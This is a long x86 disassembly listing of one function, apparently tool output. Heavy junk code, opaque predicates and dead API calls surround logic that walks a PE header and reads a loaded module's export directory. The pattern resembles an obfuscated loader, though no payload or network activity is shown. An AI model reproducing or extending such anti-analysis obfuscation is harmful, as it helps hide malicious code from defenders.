jmp 0x1001b8a5
and dword [ebp - 0x9d4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbd4]
cmp dword [ebp - 0x9d4], eax
jl 0x1001b8c6
mov dword [ebp - 0x714], 1
jmp 0x1001b8cd
and dword [ebp - 0x714], 0
cmp dword [ebp - 0x714], 6
jle 0x1001b8e2
mov dword [ebp - 0x8ec], 1
jmp 0x1001b8e9
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0xaa0]
cmp dword [ebp - 0x8ec], eax
jge 0x1001b910
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x71c], 0
jne 0x1001b910
and dword [ebp - 0x724], 0
jmp 0x1001b91a
mov dword [ebp - 0x724], 1
mov eax, dword [ebp - 0xaa0]
add eax, dword [ebp - 0x724]
je 0x1001b93d
mov eax, 0x3772679f
test eax, eax
je 0x1001b93d
mov dword [ebp - 0x8f4], 1
jmp 0x1001b944
and dword [ebp - 0x8f4], 0
cmp dword [ebp - 0x8f4], 0xffff
jne 0x1001b95c
mov dword [ebp - 0x72c], 1
jmp 0x1001b963
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x72c]
mov dword [ebp - 0x9dc], eax
mov eax, dword [0x1061d938]
cmp eax, dword [ebp - 0x300]
je 0x1001b989
mov eax, dword [0x1098d0fc]
cmp eax, dword [ebp - 0x300]
jne 0x1001b9a1
mov ecx, dword [ebp + 0xc]
call fcn.1002218f
push eax
push dword [ebp + 8]
call fcn.1001328e
pop ecx
pop ecx
jmp 0x10020f67
push 2
lea ecx, [ebp - 0xae8]
call fcn.100223ce
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x3b0], 0
jmp 0x1001b9ce
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 2
jge 0x1001b9f0
push dword [ebp - 0x3b0]
lea ecx, [ebp - 0xae8]
call fcn.1002246c
mov dword [eax], 1
jmp 0x1001b9c1
push 1
lea ecx, [ebp - 0xae8]
call fcn.1002246c
mov dword [eax], 0x1d
jmp 0x1001ba29
push 1
lea ecx, [ebp - 0xae8]
call fcn.1002246c
mov dword [ebp - 0x734], eax
mov eax, dword [ebp - 0x734]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x734]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xae8]
call fcn.1002246c
cmp dword [eax], 0x18
jne 0x1001ba70
mov dword [ebp - 0xb90], 8
mov dword [ebp - 0xd24], 0x87f2fb5a
push 1
lea ecx, [ebp - 0xae8]
call fcn.1002246c
mov eax, dword [eax]
mov dword [ebp - 0xb90], eax
mov dword [ebp - 0xd24], 0xfffffffb
jmp 0x1001ba05
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xae8]
call fcn.10022450
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0
je 0x10020d7f
mov eax, dword [ebp - 0x3b8]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10020d7f
mov dword [ebp - 0x50], 0xfffffffd
mov dword [ebp - 0x1dc], 0xfddae974
mov dword [ebp - 0xa58], 0x15cc7c44
mov dword [ebp - 0x4a0], 0x6af9031e
push 3
lea ecx, [ebp - 0xe90]
call fcn.100223ce
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x32c], 0
jmp 0x1001bafb
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 3
jge 0x1001bb1d
push dword [ebp - 0x32c]
lea ecx, [ebp - 0xe90]
call fcn.1002246c
mov dword [eax], 0xbdb62b2f
jmp 0x1001baee
cmp dword [ebp - 0x50], 0
je 0x1001bc03
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x50]
jne 0x1001bb3b
mov dword [ebp - 0x8fc], 1
jmp 0x1001bb42
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0x1dc]
cmp dword [ebp - 0x8fc], eax
je 0x1001bb5c
mov dword [ebp - 0xb98], 1
jmp 0x1001bb63
and dword [ebp - 0xb98], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x1dc]
jg 0x1001bb7a
mov dword [ebp - 0x73c], 1
jmp 0x1001bb81
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x73c]
add eax, dword [ebp - 0x1dc]
mov dword [ebp - 0x1dc], eax
je 0x1001bb9c
cmp dword [ebp - 0x50], 0
mov eax, dword [ebp - 0x50]
dec eax
mov ecx, dword [ebp - 0x50]
lea eax, [ecx + eax + 0xa]
mov dword [ebp - 0xa58], eax
mov eax, dword [ebp - 0xa58]
cmp eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4a0]
cmp eax, dword [ebp - 0x50]
jle 0x1001bbcd
mov dword [ebp - 0x744], 1
jmp 0x1001bbd4
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x744]
neg eax
cmp eax, dword [ebp - 0x50]
je 0x1001bbf3
mov eax, 0xbbe5
test eax, eax
jne 0x1001bbf3
and dword [ebp - 0x904], 0
jmp 0x1001bbfd
mov dword [ebp - 0x904], 1
mov eax, dword [ebp - 0x4a0]
mov esi, dword [ebp - 0x4a0]
push 2
lea ecx, [ebp - 0xe90]
call fcn.1002246c
mov dword [eax], esi
mov byte [ebp - 0x180], 0
movzx eax, byte [ebp - 0x180]
test eax, eax
je 0x1001bc32
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe90]
call fcn.10022450
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x3b8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x1c], 0x110c93b4
mov dword [ebp - 0x440], 0
mov dword [ebp - 0xce4], 0x182a
cmp dword [ebp - 0xce4], 0xa8c
jge 0x1001bea6
push 0x20
pop eax
imul esi, eax, 0
call fcn.1005acb5
add eax, esi
push eax
push 0x10007f18
push 0x10007f1c
call fcn.1005b16f
add esp, 0xc
push 0x20
pop esi
shl esi, 0
call fcn.1005acb5
add eax, esi
push eax
push 0x10007f24
push 0x10007f28
call fcn.1005b16f
add esp, 0xc
lea eax, [ebp - 0xba0]
push eax
push 0x100077e8
call fcn.1005ab7b
pop ecx
pop ecx
and dword [ebp - 0x49c], 0
jmp 0x1001bcea
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x49c]
cmp eax, dword [ebp - 0xba0]
jge 0x1001bea6
lea eax, [ebp - 0x74c]
push eax
lea eax, [ebp - 0x484]
push eax
push 0x10007f30
call fcn.1005ab7b
add esp, 0xc
movsd xmm0, qword [0x100095e8]
movsd qword [ebp - 0xa1c], xmm0
movsd xmm0, qword [0x100095e8]
movsd qword [ebp - 0xa28], xmm0
and dword [ebp - 0x1e0], 0
jmp 0x1001bd4d
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x1e0]
cmp eax, dword [ebp - 0x484]
jge 0x1001bd96
mov eax, dword [ebp - 0x1e0]
lea eax, [ebp + eax*4 - 0x16a4]
push eax
push 0x100077e8
call fcn.1005ab7b
pop ecx
pop ecx
mov eax, dword [ebp - 0x1e0]
cvtsi2sd xmm0, dword [ebp + eax*4 - 0x16a4]
addsd xmm0, qword [ebp - 0xa1c]
movsd qword [ebp - 0xa1c], xmm0
jmp 0x1001bd40
cvtsi2sd xmm0, dword [ebp - 0x484]
movsd xmm1, qword [ebp - 0xa1c]
divsd xmm1, xmm0
movsd qword [ebp - 0xa1c], xmm1
and dword [ebp - 0x438], 0
jmp 0x1001bdc8
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x438]
cmp eax, dword [ebp - 0x74c]
jge 0x1001be03
lea eax, [ebp - 0x1d8]
push eax
push 0x100077e8
call fcn.1005ab7b
pop ecx
pop ecx
cvtsi2sd xmm0, dword [ebp - 0x1d8]
addsd xmm0, qword [ebp - 0xa28]
movsd qword [ebp - 0xa28], xmm0
jmp 0x1001bdbb
cvtsi2sd xmm0, dword [ebp - 0x74c]
movsd xmm1, qword [ebp - 0xa28]
divsd xmm1, xmm0
movsd qword [ebp - 0xa28], xmm1
and dword [ebp - 0x1d8], 0
and dword [ebp - 0x1e8], 0
jmp 0x1001be3c
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1e8]
cmp eax, dword [ebp - 0x484]
jge 0x1001be8f
mov eax, dword [ebp - 0x1e8]
cvtsi2sd xmm0, dword [ebp + eax*4 - 0x16a4]
movsd xmm1, qword [ebp - 0xa1c]
comisd xmm1, xmm0
jbe 0x1001be8d
mov eax, dword [ebp - 0x1e8]
cvtsi2sd xmm0, dword [ebp + eax*4 - 0x16a4]
comisd xmm0, xmmword [ebp - 0xa28]
jbe 0x1001be8d
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
jmp 0x1001be2f
push dword [ebp - 0x1d8]
push 0x10007f38
call fcn.1005af25
pop ecx
pop ecx
jmp 0x1001bcdd
mov dword [ebp - 0xc8], 0
jmp 0x1001bebf
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 2
jge 0x1001bed8
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0x64], 0xa165
jmp 0x1001beb2
mov dword [ebp - 0xc8], 0
jmp 0x1001bef1
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
jge 0x1001bf0d
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0xba8], 0xdaee2552
jmp 0x1001bee4
mov dword [ebp - 0x1c], 0xffffffe3
jmp 0x1001bf1d
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jl 0x1001c2ca
mov dword [ebp - 0x19c], 3
mov dword [ebp - 0x754], 0x3c3fa3c9
mov dword [ebp - 0x1f0], 0xfa0b2b04
mov dword [ebp - 0x78c], 1
mov dword [ebp - 0x92c], 0xfffffffa
mov eax, 0x5d580090
test eax, eax
je 0x1001c04c
mov eax, 0x3cb8
test eax, eax
je 0x1001bf84
cmp dword [ebp - 0x19c], 0
je 0x1001bf84
mov dword [ebp - 0x9e4], 1
jmp 0x1001bf8b
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x9e4]
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x10a4], eax
cmp dword [ebp - 0x19c], 0xffffffff
jle 0x1001bfb8
mov dword [ebp - 0x90c], 1
jmp 0x1001bfbf
and dword [ebp - 0x90c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64]
cmp eax, dword [ebp - 0x90c]
jg 0x1001bfe7
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x64], 0
jne 0x1001bfe7
and dword [ebp - 0x75c], 0
jmp 0x1001bff1
mov dword [ebp - 0x75c], 1
cmp dword [ebp - 0x75c], 6
jle 0x1001c006
mov dword [ebp - 0xa80], 1
jmp 0x1001c00d
and dword [ebp - 0xa80], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64]
cmp dword [ebp - 0xa80], eax
jg 0x1001c02b
mov dword [ebp - 0x764], 1
jmp 0x1001c032
and dword [ebp - 0x764], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x764], eax
jne 0x1001c04c
mov dword [ebp - 0x914], 1
jmp 0x1001c053
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x914], eax
je 0x1001c06a
mov dword [ebp - 0x76c], 1
jmp 0x1001c071
and dword [ebp - 0x76c], 0
imul eax, dword [ebp - 0x76c], 0xa08d
cmp eax, 0x56cd219f
jge 0x1001c08d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x64], 0
cmp dword [ebp - 0x1c], 0xfffffffe
je 0x1001c09f
mov dword [ebp - 0x9ec], 1
jmp 0x1001c0a6
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x1f0]
cmp dword [ebp - 0x9ec], eax
je 0x1001c0ca
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
jne 0x1001c0ca
and dword [ebp - 0x774], 0
jmp 0x1001c0d4
mov dword [ebp - 0x774], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x774], eax
jle 0x1001c0eb
mov dword [ebp - 0x91c], 1
jmp 0x1001c0f2
and dword [ebp - 0x91c], 0
cmp dword [ebp - 0x91c], 0x6947
jg 0x1001c10a
mov dword [ebp - 0x77c], 1
jmp 0x1001c111
and dword [ebp - 0x77c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64]
cmp eax, dword [ebp - 0x77c]
je 0x1001c12f
mov dword [ebp - 0xa60], 1
jmp 0x1001c136
and dword [ebp - 0xa60], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64]
cmp dword [ebp - 0xa60], eax
jne 0x1001c154
mov dword [ebp - 0x784], 1
jmp 0x1001c15b
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x66883ce7
jge 0x1001c17f
mov dword [ebp - 0x924], 1
jmp 0x1001c186
and dword [ebp - 0x924], 0
push 3
pop eax
sub eax, dword [ebp - 0x924]
mov dword [ebp - 0x78c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x78c]
imul ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp + eax - 0x64]
jle 0x1001c1c0
cmp dword [ebp - 0x19c], 0
je 0x1001c1c0
mov dword [ebp - 0x9f4], 1
jmp 0x1001c1c7
and dword [ebp - 0x9f4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x64]
cmp dword [ebp - 0x9f4], eax
jge 0x1001c1ee
cmp dword [ebp - 0x19c], 0
je 0x1001c1ee
mov dword [ebp - 0x794], 1
jmp 0x1001c1f5
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 0
je 0x1001c223
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
je 0x1001c223
mov dword [ebp - 0x79c], 1
jmp 0x1001c22a
and dword [ebp - 0x79c], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x64]
imul ecx, dword [ebp - 0x79c]
cmp ecx, dword [ebp + eax - 0x64]
jne 0x1001c25c
cmp dword [ebp - 0x1f0], 0
je 0x1001c25c
mov dword [ebp - 0xab4], 1
jmp 0x1001c263
and dword [ebp - 0xab4], 0
cmp dword [ebp - 0xab4], 0x8b293c34
jne 0x1001c27b
mov dword [ebp - 0x7a4], 1
jmp 0x1001c282
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x7a4]
sub eax, dword [ebp - 0x19c]
je 0x1001c2b2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
je 0x1001c2b2
cmp dword [ebp - 0x1f0], 0
je 0x1001c2b2
mov dword [ebp - 0x934], 1
jmp 0x1001c2b9
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0x934]
mov dword [ebp - 0x440], eax
jmp 0x1001bf16
mov dword [ebp - 0x1c], 0
jmp 0x1001c2da
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jg 0x1001c498
push 1
lea ecx, [ebp - 0xec0]
call fcn.100223ce
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x334], 0
jmp 0x1001c311
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 1
jge 0x1001c333
push dword [ebp - 0x334]
lea ecx, [ebp - 0xec0]
call fcn.1002246c
mov dword [eax], 0xf2f470b9
jmp 0x1001c304
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x64]
mov dword [ebp - 0x10ac], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64]
mov dword [ebp - 0x10b4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64]
mov dword [ebp - 0x440], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x440]
cmp ecx, dword [ebp + eax - 0x64]
jl 0x1001c37e
mov dword [ebp - 0x7ac], 1
jmp 0x1001c385
and dword [ebp - 0x7ac], 0
cmp dword [ebp - 0x7ac], 0
jg 0x1001c39a
mov dword [ebp - 0xd58], 1
jmp 0x1001c3a1
and dword [ebp - 0xd58], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x64]
mov dword [ebp - 0x10bc], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp + ecx*4 - 0x64]
cmp ecx, dword [ebp + eax*4 - 0x64]
jle 0x1001c3d4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64], 0
jne 0x1001c3d4
and dword [ebp - 0x9fc], 0
jmp 0x1001c3de
mov dword [ebp - 0x9fc], 1
cmp dword [ebp - 0x9fc], 0
jbe 0x1001c3f3
mov dword [ebp - 0x7b4], 1
jmp 0x1001c3fa
and dword [ebp - 0x7b4], 0
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp - 0x7b4], 0xc9df
cmp ecx, dword [ebp + eax - 0xba8]
je 0x1001c41f
mov dword [ebp - 0x93c], 1
jmp 0x1001c426
and dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x64]
cmp eax, dword [ebp - 0x93c]
jne 0x1001c441
mov dword [ebp - 0x7bc], 1
jmp 0x1001c448
and dword [ebp - 0x7bc], 0
cmp dword [ebp - 0x7bc], 0x5a4
jle 0x1001c460
mov dword [ebp - 0xa68], 1
jmp 0x1001c467
and dword [ebp - 0xa68], 0
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp + eax*4 - 0x64]
imul esi, dword [ebp - 0xa68]
push 0
lea ecx, [ebp - 0xec0]
call fcn.1002246c
mov dword [eax], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xec0]
call fcn.10022450
jmp 0x1001c2d3
mov eax, dword [ebp - 0x230]
cmp dword [eax], 0x4550
jne 0x10020d7f
mov eax, dword [ebp - 0x230]
cmp dword [eax + 0x74], 0
jbe 0x10020d7f
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x230]
cmp dword [ecx + eax + 0x78], 0
je 0x10020d7f
push 1
lea ecx, [ebp - 0x4c0]
call fcn.100223ce
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x54], 0xc70bb743
mov dword [ebp - 0x3c0], 0
jmp 0x1001c505
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 1
jge 0x1001c524
push dword [ebp - 0x3c0]
lea ecx, [ebp - 0x4c0]
call fcn.1002246c
or dword [eax], 0xffffffff
jmp 0x1001c4f8
mov dword [ebp - 0x54], 0
jmp 0x1001c534
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x1001c780
and dword [ebp - 0xe14], 0
and dword [ebp - 0xe10], 0
and dword [ebp - 0xe0c], 0
and dword [ebp - 0xe08], 0
lea ecx, [ebp - 0x461]
call fcn.1002247b
push eax
lea eax, [ebp - 0xe04]
push eax
lea eax, [ebp - 0xe14]
push eax
lea ecx, [ebp - 0x1334]
call fcn.1002247e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa8c]
call fcn.1002242a
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0xcec], 0xbe584996
push 2
lea ecx, [ebp - 0xa8c]
call fcn.1002246c
and dword [eax], 0
jmp 0x1001c5d3
push 2
lea ecx, [ebp - 0xa8c]
call fcn.1002246c
mov dword [ebp - 0x7c4], eax
mov eax, dword [ebp - 0x7c4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x7c4]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xa8c]
call fcn.1002246c
cmp dword [eax], 0
jg 0x1001c76c
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x33c], 0
jmp 0x1001c60c
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0
jg 0x1001c767
push 2
lea ecx, [ebp - 0xa8c]
call fcn.1002246c
push dword [eax]
lea ecx, [ebp - 0x4c0]
call fcn.1002246c
cmp dword [eax], 0
je 0x1001c63d
jmp 0x1001c767
push dword [ebp - 0x54]
lea ecx, [ebp - 0x4c0]
call fcn.1002246c
cmp dword [eax], 0
je 0x1001c718
push 2
lea ecx, [ebp - 0xa8c]
call fcn.1002246c
push dword [eax]
lea ecx, [ebp - 0x4c0]
call fcn.1002246c
cmp dword [eax], 3
jae 0x1001c67f
mov dword [ebp - 0x944], 1
jmp 0x1001c686
and dword [ebp - 0x944], 0
push 1
lea ecx, [ebp - 0xa8c]
call fcn.1002246c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x944]
jl 0x1001c6a9
mov dword [ebp - 0x7cc], 1
jmp 0x1001c6b0
and dword [ebp - 0x7cc], 0
mov esi, dword [ebp - 0x7cc]
add esi, 0x7746dd80
push dword [ebp - 0x54]
lea ecx, [ebp - 0x4c0]
call fcn.1002246c
imul esi, dword [eax]
cmp esi, 0x59008cf5
jne 0x1001c6e1
mov dword [ebp - 0xa04], 1
jmp 0x1001c6e8
and dword [ebp - 0xa04], 0
push dword [ebp - 0x54]
lea ecx, [ebp - 0x4c0]
call fcn.1002246c
mov ecx, dword [ebp - 0xa04]
imul ecx, dword [eax]
test ecx, ecx
je 0x1001c718
mov eax, 0x4dde9a
test eax, eax
je 0x1001c718
mov dword [ebp - 0x4e4], 1
jmp 0x1001c71f
and dword [ebp - 0x4e4], 0
push 2
lea ecx, [ebp - 0xa8c]
call fcn.1002246c
push dword [eax]
lea ecx, [ebp - 0x4c0]
call fcn.1002246c
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [eax]
jl 0x1001c74f
mov dword [ebp - 0x4e8], 1
jmp 0x1001c756
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0xcec], eax
jmp 0x1001c5ff
jmp 0x1001c5af
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xa8c]
call fcn.10022450
jmp 0x1001c52d
mov dword [ebp - 0x54], 0
jmp 0x1001c790
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x1001c823
mov dword [ebp - 0x1f8], 0x34cb4417
mov dword [ebp - 0x1f8], 0
jmp 0x1001c7bd
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0
jg 0x1001c81e
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x200], 0
jmp 0x1001c7e9
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0
jg 0x1001c81c
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x4c0]
call fcn.1002246c
mov esi, eax
push dword [ebp - 0x200]
lea ecx, [ebp - 0x4c0]
call fcn.1002246c
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x1001c7dc
jmp 0x1001c7b0
jmp 0x1001c789
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c0]
call fcn.10022450
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1b4], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x230]
mov edx, dword [ebp - 0x1b4]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xfc], edx
mov dword [ebp - 0x208], 7
mov dword [ebp - 0x4f0], 0xfffffff6
mov dword [ebp - 0xcf4], 0
mov dword [ebp - 0x3c8], 0
jmp 0x1001c88e
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 2
jge 0x1001c8aa
mov eax, dword [ebp - 0x3c8]
mov dword [ebp + eax*4 - 0xbec], 0x12e7
jmp 0x1001c881
mov dword [ebp - 0x538], 0x12b
mov dword [ebp - 0xbcc], 0x10007f3c
cmp dword [ebp - 0x538], 0x2cd
jle 0x1001c941
and dword [ebp - 0x344], 0
jmp 0x1001c8e0
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x3bc6
jge 0x1001c941
and dword [ebp - 0x3d0], 0
jmp 0x1001c902
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x75f5
jge 0x1001c93f
mov eax, dword [ebp - 0x344]
xor eax, dword [ebp - 0x3d0]
cdq
mov dword [ebp - 0xbe0], eax
mov dword [ebp - 0xbdc], edx
push dword [ebp - 0xbdc]
push dword [ebp - 0xbe0]
mov ecx, 0x1061c7f8
call fcn.100221af
jmp 0x1001c8f5
jmp 0x1001c8d3
mov dword [ebp - 0x208], 0
jmp 0x1001c95a
mov eax, dword [ebp - 0x208]
dec eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0xffffffef
jg 0x1001cb99
mov dword [ebp - 0x148], 4
mov dword [ebp - 0xbc0], 0xabaf1ba1
mov dword [ebp - 0x34c], 0
jmp 0x1001c994
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 1
jge 0x1001c9b0
mov eax, dword [ebp - 0x34c]
mov dword [ebp + eax*4 - 0xd2c], 0xe836ea0e
jmp 0x1001c987
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x4f0], 0
jne 0x1001cac0
cmp dword [ebp - 0x148], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xbec], 1
jle 0x1001c9ec
mov dword [ebp - 0x4f8], 1
jmp 0x1001c9f3
and dword [ebp - 0x4f8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbec]
add eax, dword [ebp - 0x4f8]
cmp eax, 0x1aca
jne 0x1001ca19
mov dword [ebp - 0x500], 1
jmp 0x1001ca20
and dword [ebp - 0x500], 0
cmp dword [ebp - 0x500], 0x99314e76
ja 0x1001ca38
mov dword [ebp - 0x508], 1
jmp 0x1001ca3f
and dword [ebp - 0x508], 0
cmp dword [ebp - 0x508], 0xfffffffa
jge 0x1001ca5a
mov eax, 0x9ced66e5
test eax, eax
jne 0x1001ca5a
and dword [ebp - 0x510], 0
jmp 0x1001ca64
mov dword [ebp - 0x510], 1
mov eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0x510]
jge 0x1001ca7e
mov dword [ebp - 0x518], 1
jmp 0x1001ca85
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x518]
sub eax, dword [ebp - 0x148]
cmp eax, 0xfffffffa
jle 0x1001caa2
mov dword [ebp - 0x520], 1
jmp 0x1001caa9
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x520]
sub eax, dword [ebp - 0x148]
jne 0x1001cac0
and dword [ebp - 0x528], 0
jmp 0x1001caca
mov dword [ebp - 0x528], 1
cmp dword [ebp - 0x528], 1
ja 0x1001cadf
mov dword [ebp - 0xbb4], 1
jmp 0x1001cae6
and dword [ebp - 0xbb4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbec]
mov dword [ebp - 0x10c4], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd2c], 0
cmp dword [ebp - 0x148], 0
je 0x1001cb2e
mov eax, 0x36fc75df
test eax, eax
jne 0x1001cb2e
cmp dword [ebp - 0x148], 0
jne 0x1001cb2e
and dword [ebp - 0x530], 0
jmp 0x1001cb38
mov dword [ebp - 0x530], 1
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0xbc0], eax
xor eax, eax
sub eax, dword [ebp - 0xcf4]
cmp eax, dword [ebp - 0x148]
jle 0x1001cb72
mov byte [ebp - 0x129], 0
movzx eax, byte [ebp - 0x129]
test eax, eax
je 0x1001cb70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
jmp 0x1001cb94
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x1001cb94
push 0xd1f
push 0x43e
call dword [sym.imp.USER32.dll_SetParent]
jmp 0x1001c94d
mov dword [ebp - 4], 0x1d
cmp dword [ebp - 0x538], 0xffffff27
jge 0x1001cbbc
mov edx, dword [ebp - 0xbcc]
mov ecx, 0x1061c7f8
call fcn.10024b94
jmp 0x1001cbd8
or dword [ebp - 4], 0xffffffff
jmp 0x1001cbe2
mov eax, 0xffff
mov word [ebp - 0xa4], ax
push 2
lea ecx, [ebp - 0x4dc]
call fcn.100223ce
